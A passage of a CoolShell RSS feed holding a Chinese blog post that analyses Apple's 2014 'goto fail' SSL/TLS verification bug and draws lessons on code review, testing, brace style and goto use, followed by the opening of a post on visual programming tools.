+0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Apple]]></category>\n\t\t<category><![CDATA[bug]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[goto]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11112</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2014年2月22日，在这个“这么二”的日子里，苹果公司推送了 iOS 7.0.6（版本号11B651）修复了 SSL 连接验证的一个 bug。官方网页在这里：...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11112.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11112.html\">由苹果的低级Bug想到的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-11123\" src=\"https://coolshell.cn/wp-content/uploads/2014/02/apple_goto_fail.png\" alt=\"\" width=\"260\" height=\"158\" /> 2014年2月22日，在这个“这么二”的日子里，苹果公司推送了 iOS 7.0.6（版本号11B651）修复了 SSL 连接验证的一个 bug。官方网页在这里：<a href=\"http://support.apple.com/kb/HT6147\" target=\"_blank\">http://support.apple.com/kb/HT6147</a>，网页中如下描述：</p>\n<blockquote><p><strong>Impact</strong>: An attacker with a privileged network position may capture or modify data in sessions protected by SSL/TLS</p>\n<p><strong>Description</strong>: Secure Transport failed to validate the authenticity of the connection. This issue was addressed by restoring missing validation steps.</p></blockquote>\n<p>也就是说，这个bug会引起中间人攻击，bug的描述中说，这个问题是因为miss了对连接认证的合法性检查的步骤。</p>\n<p>这里多说一句，<strong>一旦网上发生任何的和SSL/TL相关的bug或安全问题，不管是做为用户，还是做为程序员的你，你一定要高度重视起来</strong>。因为这个网络通信的加密协议被广泛的应用在很多很多最最需要安全的地方，如果SSL/TLS有问题的话，意味着这个世界的计算机安全体系的崩溃。</p>\n<h4>Bug的代码原因</h4>\n<p>Adam Langley的《<a href=\"https://www.imperialviolet.org/2014/02/22/applebug.html\">Apple&#8217;s SSL/TLS bug</a> 》的博文暴出了这个bug的细节。（在苹果的开源网站上，通过查看苹果的和SSL/TLS有关的代码变更，我们可以在文件<a href=\"http://opensource.apple.com/source/Security/Security-55471/libsecurity_ssl/lib/sslKeyExchange.c\" target=\"_blank\">sslKeyExchange.c</a>中找到下面的代码）</p>\n<p><span id=\"more-11112\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"12\">static OSStatus\nSSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa, SSLBuffer signedParams,\n                                 uint8_t *signature, UInt16 signatureLen)\n{\n\tOSStatus        err;\n\t...\n\n\tif ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;serverRandom)) != 0)\n\t\tgoto fail;\n\tif ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;signedParams)) != 0)\n\t\tgoto fail;\n\t\tgoto fail;\n\tif ((err = SSLHashSHA1.final(&amp;hashCtx, &amp;hashOut)) != 0)\n\t\tgoto fail;\n\terr = sslRawVerify(ctx,\n                       ctx-&gt;peerPubKey,\n                       dataToSign,\t\t\t\t/* plaintext */\n                       dataToSignLen,\t\t\t/* plaintext length */\n                       signature,\n                       signatureLen);\n\tif(err) {\n\t\tsslErrorLog(&quot;SSLDecodeSignedServerKeyExchange: sslRawVerify &quot;\n                    &quot;returned %d\\n&quot;, (int)err);\n\t\tgoto fail;\n\t}\n\nfail:\n    SSLFreeBuffer(&amp;signedHashes);\n    SSLFreeBuffer(&amp;hashCtx);\n    return err;\n}</pre>\n<p>注意，我高亮的地方，也就是那里有两个goto fail; 因为if语句没有加大括号，所以，只有第一个goto是属于if的，而第二个goto则是永远都会被执行到的（注：这里不是Python是C语言，缩进不代表这个语句属于同一个语句块）。也就是说，就算是前面的if检查都失败了（err  == 0），也会goto fail。我们可以看到fail标签中释放完内存后就会return err;</p>\n<p>你想一下，<strong>这段程序在SSLHashSHA1.update()  返回成功，也就是返回0 的时候会发生什么样的事？是的，真正干活的 sslRawVerify()被bypass了。而且这个函数SSLVerifySignedServerKeyExchange() 还返回了0，也就是成功了！</strong>尼玛！你可能想到酷壳网上之前《<a title=\"一个空格引发的惨剧\" href=\"https://coolshell.cn/articles/4875.html\" target=\"_blank\">一个空格引发的惨剧</a>》的文章。都是低级bug。</p>\n<p>这个低级bug在这个周末在网上被炒翻了天，你可以<strong><a href=\"https://twitter.com/search?q=%23gotofail\" target=\"_blank\">上Twiter上看看#gotofail的标签的盛况</a></strong>。<strong>Goto Fail必然会成为历史上的一个经典事件</strong>。</p>\n<p>如果你喜欢XKCD，你一定会想到这个漫画：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://sslimgs.xkcd.com/comics/goto.png\" alt=\"\" width=\"740\" height=\"201\" /></p>\n<p><span style=\"line-height: 1.5em;\"><strong>注意</strong>：这个bug不会影响TLS 1.2版本，因为1.2版本不会用这个函数，走的是另一套机制。但是别忘了client端是可以选择版本的。</span></p>\n<p>如果你想测试一下你的浏览器是否会有问题，<strong>你可以上一下当天就上线的<a href=\"https://gotofail.com/\" target=\"_blank\"> https://gotofail.com</a> 网站</strong></p>\n<h4>一些思考</h4>\n<p>下面是我对这个问题的一些思考。</p>\n<h5>0）关于编译报警</h5>\n<p>有人在说苹果的这个代码中的goto语句会产生死代码——dead code，也就是永远都不会执行到的代码，C/C++的编程器是会报警的。但，实际上，dead code在默认上的不会报警的。即使你加上-Wall，GCC 4.8.2 或 Clang 3.3 都不会报警，包括Visual Studio 2012在默认的报警级别也不会（默认是/W3级，需要上升到/W4级以上，但是升级到/W4上，你的工程可能会有N多的Warning，你不一定能看得过来）。gcc和Clang有一个参数叫：-Wunreachable-code，是可以对这种情况报警的，但即没有被包括在-Wall里。原因是，这个参数有很多的问题，因为编译器的优化代码的行为，这个参数并不能对每种情况都准确地报告。另请注意，GCC的新版本中剔除了这个参数。当然，其它一些静态的代码检查工具也可以检查这个低级的问题。</p>\n<p>另外，是不是用IDE的代码自动化格式工具也可以帮上一点忙呢？至少可以把那个缩进变成让人一看就觉得有问题。</p>\n<h5>1）关于Code Merge 和 Code Review</h5>\n<p>你可以通过这里的代码比较看到这个bug的diff，也可以到<a href=\"https://gist.github.com/alexyakoubian/9151610/revisions\" target=\"_blank\">这里看看</a>（631行）。</p>\n<blockquote style=\"font-size: 11px;\"><p>diff -urN &lt;(curl -s http://opensource.apple.com/source/Security/Security-55179.13/libsecurity_ssl/lib/sslKeyExchange.c\\?txt) \\ &lt;(curl -s http://opensource.apple.com/source/Security/Security-55471/libsecurity_ssl/lib/sslKeyExchange.c\\?txt) \\</p></blockquote>\n<p>通过code diff你可以看到，<strong>苹果公司是在重构代码——为很多函数去掉了ctx的参数</strong>。</p>\n<p>所以，我们可以猜测，两个goto fail语句，可能是因为对code在不同branch上做merge发生的。版本工具merge代码的时候，经常性的会出现这样的问题。如果代码的diff很多，这个问题会很容易就没有注意到。就算有code review，这个有问题的代码也很难被找出来的。<strong>如果你来review下面的diff，你会注意到这个错误吗？</strong></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2014/02/gotofail.jpg\" alt=\"\" width=\"560\" height=\"275\" /></p>\n<p>也就是说，在重构分支上的代码是对的，但是在分支merge的时候，被merge工具搞乱了。所以说，<strong>我们在做code merge的时候，一定要小心小心再小心，不能完全相信merge工具</strong>。</p>\n<h5>2）关于测试</h5>\n<p>很明显，这个bug很难被code review发现。对于重构代码和代码merge里众多的diff，是很难被review的。</p>\n<p>当然，“事后诸葛亮”的人们总是很容易地说这个问题可以被测试发现，但是实际情况是这样的吗？</p>\n<p>这个问题也很难被功能测试发现，因为这个函数在是在网络握手里很深的地方，功能 测试不一定能覆盖得那么深，你要写这样的case，必需对TLS的协议栈非常熟悉，熟悉到对他所有的参数都很熟悉，并能写出针对每一个参数以及这些参数的组合做一堆test case，这个事情也是一件很复杂的事。要写出所有的case本身就是一件很难很难的事情。关于这个叫SSLVerifySignedServerKeyExchange()函数的细节，你可以看看相关的<a href=\"https://tools.ietf.org/html/rfc5246#section-7.4.3\">ServerKeyExchange</a> RFC文档。</p>\n<p>如果只看这个问题的话，你会说对这个函数做的 Unit Test 可以发现这个问题，是的。但是，别忘了SSL/TLS这么多年了，这些基础函数都应该是很稳定的了， 在事前，我们可能不会想到要去为这些稳定了多少年的函数写几个Unit Test。</p>\n<p><strong>只要有足够多的时间，我们是可以对所有的功能点，所有的函数都做UT，也可以去追求做代码覆盖和分支覆盖一样。但有一点我们却永远无法做到，那就是——穷举所有的负面案例</strong>。所以，对于测试来说，我们不能走极端，需要更聪明的测试。就像我在《<a title=\"我们需要专职的QA吗？\" href=\"https://coolshell.cn/articles/6994.html\" target=\"_blank\">我们需要专职的QA</a>》文章里的说过的——<strong>测试比coding难度大多了，测试这个工作只有高级的开发人员才做得好。我从来不相信不写代码的人能做好测试。</strong></p>\n<p>这里，<strong>我并不是说通过测试来发现这个问题的可能性不大，我想说的是，测试很重要，单测更重要。但是，我们无法面面俱到</strong>。在我们没有关注到的地方，总会发生愚蠢的错误。</p>\n<p>P.S.，在各大网站对这个事的讨论中，我们可以看到OS X下的curl命令居然可以接受一个没有验证过的IP地址的https的请求，虽然现在还没有人知道这事的原因，但是，这可能是没有在测试中查到的一个原因。</p>\n<h5>3）关于编码风格</h5>\n<p><span style=\"line-height: 1.5em;\">对于程序员来说，在C语言中，省掉语句大括号是一件非常不明智 的事情。如我们强制使用语句块括号，那么，这两个goto fail都会在一个if的语句块里，而且也容易维护并且易读。（另外，通过这个bug，我们可以感受到，像Python那样，用缩进来表示语句块，的确是挺好的一件事）</span></p>\n<p>也有人说，如果你硬要用只有单条语句，且不用语句块括号，那么，这就是一条语句，应该放在同一行上。如下所示：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">if  (check_something)   do_something(); </code></p>\n<p>但是这样一来，你在单步调试代码的时候，就有点不爽了，当你step over的时候，你完全不知道if的条件是真还是假。所以，还是分多行，加上大括号会好一些。</p>\n<p>相似的问题，我很十多年前也犯过，而且那次我出的问题也比较大，导致了用户的数据出错。那次就是维护别人的代码，别人的代码就是没有if的语句块括号，就像苹果的代码那样。<span style=\"line-height: 1.5em;\">我想在return z之前调用一个函数，结果就杯具了：</span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"6\">if ( ...... )\n    return x;\nif ( ...... )\n    return y;\nif ( ...... )\n    foo();\n    return z;</pre>\n<p>这个错误一不小心就犯了，因为人的大脑会相当然地认为缩进的都是一个语句块里的。但是如果原来的代码都加上了大括号，然后把缩进做正常，那么对后面维护的人会是一个非常好的事情。就不会犯我这个低级错误了。就像下面的代码一样，虽然写起来有点罗嗦，但利人利己。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">if ( ...... ){\n    return x;\n}\nif ( ...... ){\n    return y;\n}\nif ( ...... ){\n    return z;\n}</pre>\n<p>与此类似的代码风格还有如下，你觉得哪个更容易阅读呢？</p>\n<ul>\n<li>if (!p)    和  if (p == NULL)</li>\n</ul>\n<ul>\n<li>if (p)    和  if (p != NULL)</li>\n</ul>\n<ul>\n<li>if (!bflag)  和 if  (bflag == false)</li>\n</ul>\n<ul>\n<li>if ( CheckSomthing() )  和 if ( CheckSomething() == true )</li>\n</ul>\n<p>另外还有很多人在switch 语句里用case来做if，也就是说case后面没有break。就像<a href=\"http://en.wikipedia.org/wiki/Duff's_device\" target=\"_blank\">Duff&#8217;s Device</a>一样，再配以goto，代码就写得相当精彩了（这里<a href=\"https://github.com/agentzh/luajit2/blob/master/src/host/buildvm.c#L395\" target=\"_blank\">有个例子</a>）</p>\n<p><span style=\"line-height: 1.5em;\">所以说，代码不是炫酷的地方是给别人读的。</span></p>\n<p>另外，我在想，为什么苹果的这段代码不写成下面这样的形式？你看，下面这种情况不也很干净吗？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nif (  ((err = ReadyHash(&amp;SSLHashSHA1, &amp;hashCtx)) != 0 )\n       || ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;clientRandom)) != 0)\n       || ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;serverRandom) != 0)\n       || ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;signedParams) != 0)\n       || ((err = SSLHashSHA1.final(&amp;hashCtx, &amp;hashOut)) != 0)) {\n\n     goto fail;\n}\n</pre>\n<p>其实，还可以做一些代码上的优化，比如，把fail标签里的那些东西写成一个宏，这样就可以去掉goto语句了。</p>\n<h5>4）关于goto语句</h5>\n<p>关于goto语句，1968年，<a href=\"http://en.wikipedia.org/wiki/Edsger_Dijkstra\">Edsger Dijkstra</a> 投了一篇文章到Communications of the ACM。原本的标题是《A Case Against the Goto Statement》。CACM编辑<a href=\"http://en.wikipedia.org/wiki/Niklaus_Wirth\">Niklaus Wirth</a>灵感来了，把标题改为我们熟知的 《<a href=\"http://www.u.arizona.edu/~rubinson/copyright_violations/Go_To_Considered_Harmful.html\" target=\"_blank\">Go To Statement Considered Harmful</a>》Dijkstra写的内容也是其一贯的犀利语气，文中说：“几年前我就观察到，一个程序员的品质是其程序中goto语句的密度成反比的”，他还说，“后来我发现了为什么goto语句的使用有这么严重的后果，并相信所有高级语言都应该把goto废除掉。”  （<strong>花絮</strong>：因为，这篇文章的出现，计算学界开始用&#8217; <a href=\"http://en.wikipedia.org/wiki/Considered_harmful\">X considered harmful</a> &#8216;当文章标题的风潮，直到<a href=\"http://meyerweb.com/eric/comment/chech.html\">有人终于受不了</a>为止）</p>\n<p>为什么goto语句不好呢？Dijkstra说，一个变量代表什么意义要看其上下文。一个程序用N<code></code>记录房间里的人数，在大部分时候，N<code></code>代表的是“目前房间里的人”。但在观察到又有一个人进房间后、把N<code></code>递增的指令前的这段程序区块中，N<code></code>的值代表的是“目前房间里的人数加一”。因此，要正确诠释程序的状态，必须知道程序执行的历史，或着说，知道现在“算到哪”了。</p>\n<p>怎么谈“算到哪了”？如果是一直线执行下来的程序，我们只要指到那条语句，说“就是这里”，就可以了。如果是有循环程序，我们可能得说：“现在在循环的这个地方，循环已经执行了第<code>i</code>次”。如果是在函数中，我们可能得说：“现在执行到函数<code>p</code>的这一点；<code>p</code>刚刚被<code>q调用</code>，调用点在一个循环中，这个循环已经执行了<code>i</code>次”。</p>\n<p>如果有goto<code>语句了</code>呢？那就麻烦了。因为电脑在执行某个指令前，可能是从程序中许许多多goto<code></code>其中之一跳过来的。要谈某变量的性质也几乎变得不可能了。这就是为什么goto语句问题。</p>\n<p>Dijkstra的这篇文章对后面很多程序员有非常深的影响，包括我在内，都觉得Goto语句能不用就不用，虽然，我在十年前的《<a href=\"http://blog.csdn.net/haoel/article/month/2003/05\" target=\"_blank\">编程修养</a>》（这篇文章已经严重过时，某些条目已经漏洞百出）中的<a href=\"http://blog.csdn.net/haoel/article/details/2876\" target=\"_blank\">第23条</a>也说过，我只认为在goto语句只有一种情况可以使用，就是苹果这个bug里的用法。但是我也同意Dijkstra，goto语句能不用就不用了。就苹果的这个问题而言，在更为高级的C++中，<a href=\"http://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization\" target=\"_blank\">使用RAII技术</a>，这样的goto语句已经没有什么存在的意义了。</p>\n<p>Dijkstra这篇文章后来成为结构化程式论战最有名的文章之一。长达19年之后，Frank Rubin投了一篇文章到CACM,标题为《<a href=\"http://www.ecn.purdue.edu/ParaMount/papers/rubin87goto.pdf\">&#8216; <code></code>Go To Considered Harmful&#8217; Considered Harmful</a> 》Rubin说，「虽然Dijkstra的说法既太学术又缺乏说服力」，却似乎烙到每个程序员的心里了。这样，当有人说“用goto语句来解这题可能会比较好”会被严重鄙视。于是Rubin出了一道这样的题：令<code>X</code>为<code>N * N</code>的整数阵列。如果<code>X</code>的第<code>i</code>行全都是零，请输出<code>i</code>。如果不只一行，输出最小的<code>i</code> .</p>\n<p>Rubin找了一些惯用goto和不用goto的程序员来解题，发现用goto的程序又快又清楚。而不用goto通常花了更多的时间，写出很复杂的解答。你觉得呢？ 另外，你会怎么写这题的程序呢？</p>\n<p>（<strong>花絮</strong>：以后几个月的CACM热闹死了。编辑收到许多回应，两个月后刊出了其中五篇。文章也包括了《<a href=\"http://www.ecn.purdue.edu/ParaMount/papers/acm_may87.pdf\">&#8220;&#8216;GOTO Considered Harmful&#8217; Considered Harmful&#8221; Considered Harmful?</a> 》）</p>\n<p><strong>对于我而言，goto语句的弊远远大于利，在99%的情况下，我是站在反goto这边的</strong>。Java和Python就没有提供Goto语句，原因就是因为goto语句很容易被滥用！</p>\n<p><strong>更新：2014年3月5日</strong> &#8211; RedHat 近日也发现个GnuTLS安全问题，与苹果的类似：无法正确检验特定的伪造SSL证书，这个总是会将伪造证书识别为有效证书。虽然Redhat的代码为if加上了花括号，但还是因为没有控制好goto，造成了bug。所以说啊，goto语句的坑是很多。</p>\n<ul>\n<li>BUG页面：<a href=\"https://bugzilla.redhat.com/show_bug.cgi?id=1069865\" target=\"_blank\">https://bugzilla.redhat.com/show_bug.cgi?id=1069865</a></li>\n</ul>\n<ul>\n<li>相关的Diff: <a href=\"https://bugzilla.redhat.com/attachment.cgi?id=867911&amp;action=diff\" target=\"_blank\">https://bugzilla.redhat.com/attachment.cgi?id=867911&amp;action=diff</a></li>\n</ul>\n<p>goto语句在写代码的时候也许你会很爽，但是在维护的时候，绝对是一堆坑！redhat的这个patch为原来本来只有一个label的goto又加了另一个label，现在两个label交差goto，继续挖坑……</p>\n<h4>总结</h4>\n<p>你看，我们不能完全消灭问题，但是，我们可以用下面几个手段来减少问题：</p>\n<p style=\"padding-left: 30px;\">1）<strong>尽量在编译上发生错误，而不是在运行时</strong>。</p>\n<p style=\"padding-left: 30px;\">2）<strong>代码是让人读的，顺便让机器运行</strong>。不要怕麻烦，好的代码风格，易读的代码会减少很多问题。</p>\n<p style=\"padding-left: 30px;\">3）<strong>Code Review是一件很严肃的事情</strong>，但 Code Reivew的前提条件是代码的可读性一定要很好。</p>\n<p style=\"padding-left: 30px;\">4）<strong>测试是一件很重要也是很难的事情，尤其是开发人员要非常重视</strong>。</p>\n<p style=\"padding-left: 30px;\">5）<strong>不要走飞线，用飞线来解决问题是可耻的！</strong>所以，用goto语句来组织代码的时代过去了，你可以有很多种方式不用goto也可以把代码组织得很好。</p>\n<p>最后，我在淘宝过去的一年里，经历过一些P1/P2故障，尤其是去年的8-9月份故障频发的月份，我发现其中有70%的P1/P2故障，就是因为没有code review，没有做好测试，大量地用飞线来解决问题，归根结底就是只重业务结果，对技术没有应有的严谨的态度和敬畏之心。</p>\n<p><span style=\"color: #cc0000;\"><strong>正如苹果的这个“goto fail”事件所暗喻的，如果你对技术没有应有的严谨和敬畏之心，你一定会——</strong></span></p>\n<p style=\"text-align: center; font-size: 36px; color: #cc0000; font-family: Georgia,;\"><strong>Go To Fail !!!</strong></p>\n<p>在这里唠叨这么多，与大家共勉！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11112.html\">由苹果的低级Bug想到的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11112.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>116</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>可视化编程</title>\n\t\t<link>https://coolshell.cn/articles/11094.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11094.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 21 Feb 2014 16:27:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[IDE]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[Visual]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11094</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文来自《Visual Programming Languages &#8211; Snapshots》，作者Eric Hosick收集了一堆关于可视化编程的工...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11094.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11094.html\">可视化编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文来自《<a href=\"http://blog.interfacevision.com/design/design-visual-progarmming-languages-snapshots/\" target=\"_blank\">Visual Programming Languages &#8211; Snapshots</a>》，作者<a href=\"http://twitter.com/erichosick\" target=\"_blank\">Eric Hosick</a>收集了一堆关于可视化编程的工具，好多我都听都没听说过，我一股脑的全转过来，给大家看看，算是开开眼界了。<span style=\"line-height: 1.5em;\">本文也是参考了Wikipedia的 </span><a style=\"line-height: 1.5em;\" href=\"http://en.wikipedia.org/wiki/Visual_programming_language\">Visual Programming Language</a> 词条。</p>\n<p>另外，在原文有很多评论，其中也有很多正文没有提到的，你可以前去围观一下。</p>\n<h4 id=\"sketchpad\">SketchPad</h4>\n<p>Maybe the first. 1963.</p>\n<p><a href=\"http://mydiesel22.blogspot.com/2011/05/vector-and-digital-graphics.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Sketchpad\">Wikipedia</a> 和 <a href=\"http://www.youtube.com/watch?v=495nCzxM9PI&amp;feature=player_embedded\">官方网站</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_sketchpad_01.jpg\" width=\"576\" height=\"407\" /><img alt=\"\" /></p>\n<p><span id=\"more-11094\"></span></p>\n<h4 id=\"alice\">Alice</h4>\n<p><a href=\"http://www.alice.org/index.php\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Alice_%28software%29\">Wikipedia</a> 和 <a href=\"http://en.wikipedia.org/wiki/File:Alice-2-screenshot.jpg\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_alice_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"app_inventor_for_android\">App Inventor For Android</h4>\n<p><a href=\"http://beta.appinventor.mit.edu/learn/tutorials/whereismycar/whereismycar.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/App_Inventor_for_Android\">Wikipedia</a> 和 <a href=\"http://appinventor.mit.edu/explore/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_app_inventor_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"arcgis_model_builder\">ArcGIS Model Builder</h4>\n<p><a href=\"http://www.rockware.com/product/featuresLobby.php?id=193&amp;category=615\">图片来源</a> 和 <a href=\"http://resources.arcgis.com/en/help/main/10.1/index.html#//002w00000001000000\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_app_arcgis_01.gif\" /><img alt=\"\" /></p>\n<h4 id=\"automator\">Automator</h4>\n<p><a href=\"http://www.apple.com/remotedesktop/automation.html\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Automator_%28software%29\">Wikipedia</a> 和 <a href=\"http://www.apple.com/osx/apps/#automator\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_automator_01.jpg\" /><img alt=\"\" /></p>\n<h4 id=\"blockly\">Blockly</h4>\n<p><a href=\"http://i.imgur.com/PfJO2.png\">图片来源</a> 和 <a href=\"https://code.google.com/p/blockly/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_blockly_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"bounce\">Bounce</h4>\n<p><a href=\"http://www.art.net/~hopkins/Don/lang/bounce/SpaceSeedCircuits.gif\">图片来源</a> 和 <a href=\"http://www.art.net/~hopkins/Don/lang/bounce/bounce.html\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_bounce_01.gif\" /><img alt=\"\" /></p>\n<h4 id=\"copper_thoughts\">Copper Thoughts</h4>\n<p><a href=\"http://www.copperthoughts.com/assets/request-fsm-instance.png\">图片来源</a> 和 <a href=\"http://www.copperthoughts.com/\">官方网站</a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_copper_01.png\" /><img alt=\"\" /></p>\n<h4 id=\"drakon\">DRAKON</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/DRAKON\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/DRAKON\">Wikipedia</a> 和 <a href=\"http://drakon-editor.sourceforge.net/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_drakon_01.png\" width=\"720\" height=\"712\" /><img alt=\"\" /></p>\n<h4 id=\"etoys__squeak\">Etoys / Squeak</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/File:Squeak-screenshot.png\">图片来源</a>, <a href=\"http://en.wikipedia.org/wiki/Etoys_%28programming_language%29\">Wikipedia</a> 和 <a href=\"http://www.squeakland.org/\">官方网站</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" 